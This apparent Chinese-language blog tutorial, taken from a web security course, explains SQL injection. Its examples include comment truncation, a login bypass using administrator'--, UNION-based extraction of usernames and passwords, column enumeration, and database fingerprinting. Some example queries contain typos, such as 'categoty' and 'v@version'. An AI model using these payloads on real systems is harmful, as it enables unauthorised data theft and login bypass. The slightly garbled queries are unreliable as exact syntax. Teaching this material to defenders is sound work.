SQL 注入一

First Blood

SQL 注入是什么?

SQL 注入是一种网络安全漏洞,允许攻击者干扰应用程序对其数据库的查询。它通常允许攻击者查看他们通常无法检索的数据。这可能包括属于其他用户的数据,或应用程序本身能够访问的任何其他数据。在许多情况下,攻击者可以修改或删除此数据,从而持续更改应用程序的内容或行为。
在某些情况下,攻击者可能会升级 SQL 注入攻击,以损害基础服务器或其他后端基础架构,或执行拒绝服务攻击。

注入实例

在不同情况下会出现各种各样的 SQL 注射漏洞、攻击和技术。一些常见的 SQL 注射示例包括:

检索隐藏数据

考虑显示不同类别产品的购物应用程序。
当用户单击页面中分类栏的 “Gift” 类别时,他们的浏览器会请求类似这种 URL:

https://insecure-website.com/products?category=Gifts

后台查询语句为:

SELECT * FROM products WHERE category = 'Gifts AND released = 1

语句返回 products 表中符合 WHERE 条件的记录的的所有字段。released=1 表示尚未上架的。

如果后台没有进行防护,直接使用 URL 的参数 Gift 这个字符串去查询,就有注入风险。
注入类似:

https://insecure-website.com/products?category=Gifts'--

这可能导致后台执行下面的查询语句:

SELECT * FROM products WHERE categoty = 'Gifts'-- AND released = 1

** 关键是两个折线 -- 在 SQL 中表示注释的意思,这样注释后面的” 查询语句 “就会作废 **。这意味着所有产品都显示在显示中,包括未上架的产品。
更进一步,还可以显示所有分类的商品

https://insecure-website.com/products?category=Gifts'+OR+1=1--

可能导致后台执行下面的查询语句:

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

因为是 OR,每一个记录都会满足 1=1,所以,会返回所有记录!

注意,后台将 URL 参数作为 SQL 查询条件时,有没有自带引号,上述注入是假设,带了单引号。

覆盖应用逻辑

有一个登陆逻辑是:直接根据用户的输入的用户名,密码去查询,有记录返回则登陆成功,否则视为失败。

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

此时,可以利用注释,去覆盖这个用逻辑。用户名填 administrator'--,密码随便输入。

SELECT * FROM users WHERE username = 'administrator'--'AND password =''

这个语句会返回 admin 这个用户的记录,符合上面登陆成功的逻辑!

获取其他表的数据 - UNION

** 如果 SQL 查询的结果在应用程序的响应中返回,攻击者可以利用 SQL 注入漏洞从数据库中的其他表中检索数据。**
这是使用 UNION 关键字完成的,该关键字允许您执行额外的 Select 查询并将结果附加到原始查询中。
例如,如果软件完全根据用户的输入,执行下面的查询:

SELECT name, description FROM products WHERE category = 'Gifts'

可以将输入构造为:

' UNION SELECT username,password FROM users--

返回

注意,UNION 查询需要满足:

  1. UNION 后选择的记录的列数要与前面选择的列数,前后一致,否则 SQL 查询本身会报错!
  2. 每个列中的数据类型必须在各个查询之间兼容。

要执行 SQL UNION 攻击,您需要确保您的攻击满足这两个 ** 前提条件 **。
这通常涉及找出

  1. 从原始正常查询返回了多少列?
  2. 从原始查询返回的哪些列属于合适的数据类型,用来保存注入查询后的结果?

下面进行解答

find 列数

有两种有效方法来确定从原始查询返回的列数。

ORDER BY

第一种方法涉及注入一系列 ORDER BY 索引 子句并增加指定列索引,直到发生错误。

'ORDER BY 1--' ORDER BY 2--
' ORDER BY 3--
...

此时,列数就是发生错误的 ORDER BY 的索引减一。

实际应用中,应用程序实际上可能在 HTTP 响应中的返回数据库错误,也可能返回通用错误,或者只是返回中没有任何结果。

只要能够检测到应用程序响应中的某些差异,则可以推断从查询返回的列数

UNION SELECT NULL

第二种方法,在 UNIONSELECT 一定数量的 NULL

'UNION SELECT NULL--' UNION SELECT NULL, NULL--
' UNION SELECT NULL, NULL, NULL--

只有当 NULL 个数与前面的 SELECT 查询的列数一致,才会返回结果,否则 SQL 查询会报错。当查询的结果正确返回时,会多一条记录,每一列都是 NULL。
幸运的话,会在返回的结果中看出不同个数 NULL 的区别。

使用 NULL 获取列数需要注意:

  • 使用 NULL 作为从注入的 SELECT 查询返回的值的原因是,每个列中的数据类型必须在原始查询和注入查询之间兼容。由于 NULL 可转换为所有常用的数据类型,因此使用 NULL 可最大限度地提高列计数正确时有效载荷成功的可能性。
  • Oracle 数据库,每个 SQL 的 SELECT 都需要带着 FROM。Oracle 有一个内建的表 dual,所以针对 Oracle 数据库,使用 ' UNION SELECT NULL FROM dual--
  • MySQL 数据库的注释后面可能需要再加一个空格

SQL 注入 cheat sheet

find 具有指定数据类型的列

执行 SQL UNION 注入攻击的原因是能够从注注入攻击的查询中检索结果。
通常,要检索的有趣数据将以字符串形式显示,因此您需要在原始查询结果中找到一个或多个列,其数据类型是或与字符串数据兼容。

在确定所需列数后,您可以通过提交一系列带有 payload 的 UNION 查询来检测每个列是否可以保留字符串数据,将字符串值依次放入每个列中。
例如,如果查询返回四列,您将提交:

'UNION SELECT'a',NULL,NULL,NULL--' UNION SELECT NULL,'a',NULL,NULL--
'UNION SELECT NULL,NULL,'a',NULL--' UNION SELECT NULL,NULL,NULL,'a'--

如果未发生错误,并且应用程序的响应包含一些其他内容(包括注入的字符串值),则相关列适用于检索字符串数据。

我在 MYSQL8 试了一下,就算类型不对也不会报错。。。

在单列中获取多个值

假设查询只返回一列,你想要的查询又需要两列,怎么办?
您可以通过将值串联在一起,轻松地在此单列中检索多个值,最好包括一个合适的分离器,以便您区分组合值。例如,在 Oracle 数据库上,您可以提交输入:

'UNION SELECT username ||'~~' || password FROM users--

在 Oracle 数据库中,|| 作用是连接字符串。此注入会连接 username 和 password 字段,以 ~~ 分开。

不同数据库的字符串连接方式不同。
MYSQL 是:

'UNION SELECT concat(username,'~', password) from users--

综合

  1. 获取查询得到的具体列数(UNION SELECT NULL 或者 ORDER BY 123)
  2. 确定哪些列的数据类型是可利用的(UNION SELECT ‘a’,NULL,NULL,NULL)
  3. 联合查询,可利用的列数不足则进行字符串拼接。

直接检索数据库信息

在初步识别到存在 SQL 注入漏洞后,获取有关 ** 数据库本身 ** 的一些信息通常很有用。这些信息往往可以为进一步利用铺平道路。

您可以查询数据库的版本详细信息。这样做的方式取决于数据库类型,因此您可以从任何技术中推断出 ** 数据库类型 **。
对于 Oracle 数据库:

SELECT * FROM v$version;

您还可以确定存在哪些数据库表,以及它们包含哪些列。
例如,在大多数数据库中,您可以执行以下查询来列出表:

SELECT * FROM information_schema.tables

查询数据库版本和类型

在利用 SQL 注入漏洞时,通常需要收集有关数据库本身的一些信息。这包括数据库软件的类型和版本,以及数据库的内容,包括它包含的表格和列。

  • MySQL: select @@version
  • Oracle: select * from v@version,此表只有一行记录,包含 banner 等字段。

数据库内容

大多数数据库(** 甲骨文除外 **)都有一组称为 information schema 的视图,提供有关数据库的信息。
具体就是表 information_schema.tables
查询到表后,可以查询表 information_schema.columns 来继续查询指定的表的列

至于 Oracle,使用 SELECT * FROM all_tables 获得所有表
再继续使用 SELECT * FROM all_tab_columns WHERE table_name = "USERS"

课程源地址


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论。
我的空间